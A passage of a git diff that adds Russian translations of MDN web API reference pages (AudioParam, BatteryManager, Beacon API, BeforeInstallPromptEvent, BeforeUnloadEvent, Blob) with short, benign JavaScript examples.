+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html
new file mode 100644
index 0000000000..bbe425dcb6
--- /dev/null
+++ b/files/ru/web/api/audioparam/index.html
@@ -0,0 +1,112 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+  - API
+  - Audio
+  - AudioParam
+  - Interface
+  - NeedsTranslation
+  - Parameter
+  - Reference
+  - TopicStub
+  - Web Audio API
+  - sound
+translation_of: Web/API/AudioParam
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary">The Web Audio API's <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}).</span> An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p>
+
+<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p>
+
+<ul>
+ <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li>
+ <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames. In other words, the same value applies to every frame in the audio as it's processed by the node.</li>
+</ul>
+
+<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p>
+
+<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Represents the parameter's current value as of the current time; initially set to the value of {{domxref("AudioParam.defaultValue", "defaultValue")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the <code>value</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p>
+
+<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p>
+
+<pre class="brush: js notranslate">var compressor = audioCtx.createDynamicsCompressor();
+compressor.threshold.setValueAtTime(-50, audioCtx.currentTime);
+compressor.knee.setValueAtTime(40, audioCtx.currentTime);
+compressor.ratio.setValueAtTime(12, audioCtx.currentTime);
+compressor.attack.setValueAtTime(0, audioCtx.currentTime);
+compressor.release.setValueAtTime(0.25, audioCtx.currentTime);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioParam")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html
new file mode 100644
index 0000000000..f60d3e7d99
--- /dev/null
+++ b/files/ru/web/api/audioparam/setvalueattime/index.html
@@ -0,0 +1,97 @@
+---
+title: AudioParam.setValueAtTime()
+slug: Web/API/AudioParam/setValueAtTime
+translation_of: Web/API/AudioParam/setValueAtTime
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Число с плавающей точкой представляет значение AudioParam изменяемое в данное время.</dd>
+ <dt>startTime</dt>
+ <dd>A double representing the time (in seconds) after the {{domxref("AudioContext")}} was first created that the change in value will happen. A {{jsxref("TypeError")}} is thrown if this value is negative.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>A reference to this <code>AudioParam</code> object. In some browsers older implementations of this interface return void.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This simple example features a media element source with two control buttons (see our <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-param/index.html">webaudio-examples repo</a> for the source code, or <a href="https://mdn.github.io/webaudio-examples/audio-param/">view the example live</a>). When the buttons are pressed, the <code>currGain</code> variable is incremented/decremented by 0.25, then the <code>setValueAtTime()</code> method is used to set the gain value equal to <code>currGain</code>, one second from now (<code>audioCtx.currentTime + 1</code>.)</p>
+
+<pre class="brush: js;highlight[32,37] notranslate">// create audio context
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+// set basic variables for example
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+var targetAtTimePlus = document.querySelector('.set-target-at-time-plus');
+var targetAtTimeMinus = document.querySelector('.set-target-at-time-minus');
+
+// Create a MediaElementAudioSourceNode
+// Feed the HTMLMediaElement into it
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Create a gain node and set it's gain value to 0.5
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+var currGain = gainNode.gain.value;
+
+// connect the AudioBufferSourceNode to the gainNode
+// and the gainNode to the destination
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// set buttons to do something onclick
+targetAtTimePlus.onclick = function() {
+  currGain += 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}
+
+targetAtTimeMinus.onclick = function() {
+  currGain -= 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-audioparam-setvalueattime', 'setValueAtTime')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.AudioParam.setValueAtTime")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/batterymanager/index.html b/files/ru/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..02e7fdc7a2
--- /dev/null
+++ b/files/ru/web/api/batterymanager/index.html
@@ -0,0 +1,72 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+translation_of: Web/API/BatteryManager
+---
+<p>{{APIRef}}</p>
+
+<p>Интерфейс <code>BatteryManager</code> предоставляет пути получения информации о уровне заряда батареи устройства.</p>
+
+<p>Метод {{domxref("navigator.getBattery()")}} возвращает battery promise, разрешающий использование <code>BatteryManager</code> интерфейса, который вы можете использовать для взаимодействия с <a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>Значение с булевым типом, заряжается сейчас батарея или нет.</dd>
+ <dt>{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>Число оставшихся секунд до полной зарядки, или 0, если устройство заряжено.</dd>
+ <dt>{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>Число оставшихся секунд до полной разрядки устройства.</dd>
+ <dt>{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>Число между 0.0 и 1.0, показывающее уровень заряда батареи устройства.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>Обработчик для {{event("chargingchange")}} события; Событие вызывается при обновлении состояния процесса зарядки батареи на текущий момент.</dd>
+ <dt>{{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>Обработчик для {{event("chargingtimechange")}} события; Событие вызывается при обнавлении времени до полной зарядки батареи устройства.</dd>
+ <dt>{{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>Обработчик для {{event("dischargingtimechange")}} события; Событие вызывается при обновлении времени до разрядки батареи устройства.</dd>
+ <dt>{{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>Обработчик для {{event("levelchange")}} события; Событие вызывается при обновление уровня заряда батареи устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Наследует от {{domxref("EventTarget")}}:</p>
+
+<p>{{page("/ru-RU/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li>{{domxref("navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html
new file mode 100644
index 0000000000..984c00117d
--- /dev/null
+++ b/files/ru/web/api/beacon_api/index.html
@@ -0,0 +1,51 @@
+---
+title: Beacon API
+slug: Web/API/Beacon_API
+tags:
+  - Beacon
+  - JSAPI Reference
+  - Производительность
+translation_of: Web/API/Beacon_API
+---
+<div>{{DefaultAPISidebar("Beacon")}}{{SeeCompatTable}}</div>
+
+<div></div>
+
+<p>Интерфейс <strong><code>Beacon</code></strong> используется для планирования асинхронного и неблокирующего запроса к веб-серверу. <strong><code>Beacon</code></strong> запросы используют метод HTTP POST, и обычно не требуют ответа. Запросы гарантированно будут  инициированы до того, как страница будет выгружена, и они выполняются до конца, не требуя блокирующего запроса (например {{domxref("XMLHttpRequest")}}).</p>
+
+<p>Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.</p>
+
+<p>Пример кода интерфейсов, описанных в этом документе, включен в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p>
+
+
+
+<h2 id="Зачем_использовать_Beacon">Зачем использовать Beacon?</h2>
+
+<p>Интерфейс <code>Beacon</code> отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.</p>
+
+<p>Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p>
+
+<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p>
+
+<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p>
+
+<h2 id="Глобальный_контекст">Глобальный контекст</h2>
+
+<p>Интерфейс <code>Beacon API's</code> предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки <em>beacon</em> данных  на сервер в <em>глобальный браузерный контекст</em>. Метод принимает два аргумента: URL и данные для отправки в запросе. Аргумент data является необязательным, и его тип может быть {{domxref ("ArrayBufferView")}}, {{domxref ("Blob")}}, {{domxref ("DOMString")}} или {{domxref (" FormData ")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает <code>true</code> либо возвращает <code>false</code> в противном случае.</p>
+
+<h2 id="Рабочий_контекст">Рабочий контекст</h2>
+
+<p>Интерфейс <code>Beacon API's</code> предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки <em>beacon</em> данных на сервер из <em>{{domxref("WorkerGlobalScope","worker global scope")}}</em>. Метод принимает два аргумента: URL-адрес и данные для отправки в запросе. Аргумент <code>data</code> является необязательным, и его тип может быть {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает <code>true</code> либо возвращает <code>false</code> в противном случае.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>The {{domxref("Navigator.sendBeacon","Navigator.sendBeacon()","Browser_compatibility")}} table indicates that method has relatively broad implementation.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+ <li><a href="https://w3c.github.io/beacon/">Beacon standard</a></li>
+ <li><a href="http://caniuse.com/#search=beacon">Beacon CanIUse data</a></li>
+ <li><a href="https://ehsanakhgari.org/blog/2015-04-08/intercepting-beacons-through-service-workers">Intercepting beacons through service workers</a>; Ehsan Akhgari; 2015-Apr-08</li>
+</ul>
diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html
new file mode 100644
index 0000000000..a9359fddfe
--- /dev/null
+++ b/files/ru/web/api/beforeinstallpromptevent/index.html
@@ -0,0 +1,61 @@
+---
+title: BeforeInstallPromptEvent
+slug: Web/API/BeforeInstallPromptEvent
+tags:
+  - API
+  - BeforeInstallPromptEvent
+  - Event
+  - Experimental
+  - Interface
+  - Reference
+translation_of: Web/API/BeforeInstallPromptEvent
+---
+<div><span style="line-height: 19.0909080505371px;">Событие </span><code><strong>BeforeInstallPromptEvent</strong></code><span style="line-height: 19.0909080505371px;"> запускается в обработчике </span>{{domxref("Window.onbeforeinstallprompt")}} <span style="line-height: 19.0909080505371px;">перед тем, как пользователю будет предложено "установить" веб-сайт на главный экран мобильного устройства.</span></div>
+
+<div><span style="line-height: 19.0909080505371px;">Этот интерфейс наследуется от интерфейса </span>{{domxref("Event")}}<span style="line-height: 19.0909080505371px;">.</span> </div>
+
+<div></div>
+
+<p>{{InheritanceDiagram(700, 60, 20)}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}</dt>
+ <dd>Создает новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.platforms")}} {{readonlyinline}}</dt>
+ <dd>Возвращает массив элементов {{domxref("DOMString")}}, содержащий платформы, на которых было отправлено событие. Это предусмотрено для пользовательских агентов, которые хотят предоставить пользователю выбор версий, таких как, например, «web» или «play», что позволит пользователю выбирать между веб-версией или версией Android.</dd>
+ <dt>{{domxref("BeforeInstallPromptEvent.userChoice")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, которое разрешается в {{domxref("DOMString")}}, содержащее либо "accepted" (принято), либо "dismissed" (отклонено).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.prompt()")}} </dt>
+ <dd>Позволяет разработчику показывать запрос на установку в любое время по своему выбору. Этот метод возвращает {{jsxref("Promise")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">window.addEventListener("beforeinstallprompt", function(e) {
+  // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку
+  console.log(e.platforms); // e.g., ["web", "android", "windows"]
+  e.userChoice.then(function(choiceResult) {
+    console.log(choiceResult.outcome); // either "accepted" or "dismissed"
+  }, handleError);
+});
+</pre>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.BeforeInstallPromptEvent")}}</p>
diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html
new file mode 100644
index 0000000000..f8c623a1c1
--- /dev/null
+++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html
@@ -0,0 +1,48 @@
+---
+title: BeforeInstallPromptEvent.prompt()
+slug: Web/API/BeforeInstallPromptEvent/prompt
+tags:
+  - API
+  - BeforeInstallPromptEvent
+  - Experimental
+  - Method
+  - Reference
+  - prompt
+translation_of: Web/API/BeforeInstallPromptEvent/prompt
+---
+<div><span class="seoSummary">Метод <strong><code>prompt()</code></strong> интерфейса {{domxref("BeforeInstallPromptEvent")}} позволяет разработчику показывать подсказку об установке в любое время по своему выбору. </span></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">BeforeInstallPromptEvent.prompt()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>None.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Пустой {{jsxref("Promise")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate">var isTooSoon = true;
+window.addEventListener("beforeinstallprompt", function(e) {
+  if (isTooSoon) {
+    e.preventDefault(); // Предотвращает быстрое отображение
+    // Запросить позже:
+    setTimeout(function() {
+      isTooSoon = false;
+      e.prompt(); // Выбрасывает, если вызывается более одного раза или по умолчанию не предотвращено (not prevented)
+    }, 10000);
+  }
+
+  // Событие было повторно отправлено в ответ на наш запрос
+  // ...
+});</pre>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.BeforeInstallPromptEvent.prompt")}}</p>
diff --git a/files/ru/web/api/beforeunloadevent/index.html b/files/ru/web/api/beforeunloadevent/index.html
new file mode 100644
index 0000000000..768e7d2787
--- /dev/null
+++ b/files/ru/web/api/beforeunloadevent/index.html
@@ -0,0 +1,74 @@
+---
+title: BeforeUnloadEvent
+slug: Web/API/BeforeUnloadEvent
+tags:
+  - Диалог
+  - Окно
+translation_of: Web/API/BeforeUnloadEvent
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>beforeunload </code></strong>  (en: перед_выгрузкой) происходит (непосредственно) перед выгрузкой окна, документа и их ресурсов.</p>
+
+<p>Если присвоено ненулевое значение свойству <code>returnValue</code> Event, всплывает диалоговое окно: "Вы действительно хотите покинуть эту страницу?" (см. пример ниже). Если значение не присвоено, то событие не отображается. В некоторых случаях диалоговое окно всплывает только после взаимодействия пользователя с фреймом или любым встроенным фреймом. См. детали  {{anch("Browser compatibility")}} </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Всплывающие окна</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Возможность отмены</td>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <td>Целевые Объекты</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Интерфейс</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js;">window.addEventListener("beforeunload", function( event ) {
+  event.returnValue = "\o/";
+});
+
+//is equivalent to
+window.addEventListener("beforeunload", function( event ) {
+  event.preventDefault();
+});</pre>
+
+<p>Webkit-based browsers не следуют спецификации диалоговых окон . Самый кросс-браузерный работающий пример выглядит примерно так: см. ниже.</p>
+
+<pre class="brush: js">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     //Gecko + IE
+  return confirmationMessage;                                //Webkit, Safari, Chrome etc.
+});</pre>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этом листе извлечена из структурированных данных. Если Вы хотите внести свой вклад в эти данные, пожалуйста, проверьте<br>
+ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос (на вытягивание).</div>
+
+<p>{{Compat("api.BeforeUnloadEvent")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("beforeunload")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Выгрузка Документов - Запрос на выгрузку документа</a> </li>
+</ul>
diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..b1ed2d7bc1
--- /dev/null
+++ b/files/ru/web/api/blob/blob/index.html
@@ -0,0 +1,123 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+translation_of: Web/API/Blob/Blob
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре <em>array</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array</em>, <em>options</em> );
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><em>array</em> - массив {{jsxref("Array")}} из объектов {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или смесь любых из подобных объектов, которая может быть размещена внутри {{domxref("Blob")}}. DOMStrings представлены в кодировке UTF-8.</li>
+ <li><em>option</em><em>s</em> is an optional <code>BlobPropertyBag</code> dictionary which may specify the following two attributes:
+  <ul>
+   <li><code>type</code>, with a default value of <code>""</code>, that represents the MIME type of the content of the array that will be put in the blob.</li>
+   <li><code>endings</code>, with a default value of <code>"transparent"</code>, that specifies how strings containing the line ending character <code>\n</code> are to be written out. It is one of the two values: <code>"native"</code>, meaning that line ending characters are changed to match host OS filesystem convention, or <code>"transparent", </code>meaning that endings are stored in the blob without change. {{non-standard_inline}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js  language-js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("13.0")}} [1]</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>in Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>in Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 16, the second parameter, when set to <code>null</code> or <code>undefined</code>, leads to an error instead of being handled as an empty dictionary.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The deprecated {{domxref("BlobBuilder")}} which this constructor replaces.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html
new file mode 100644
index 0000000000..a256ce6a5f
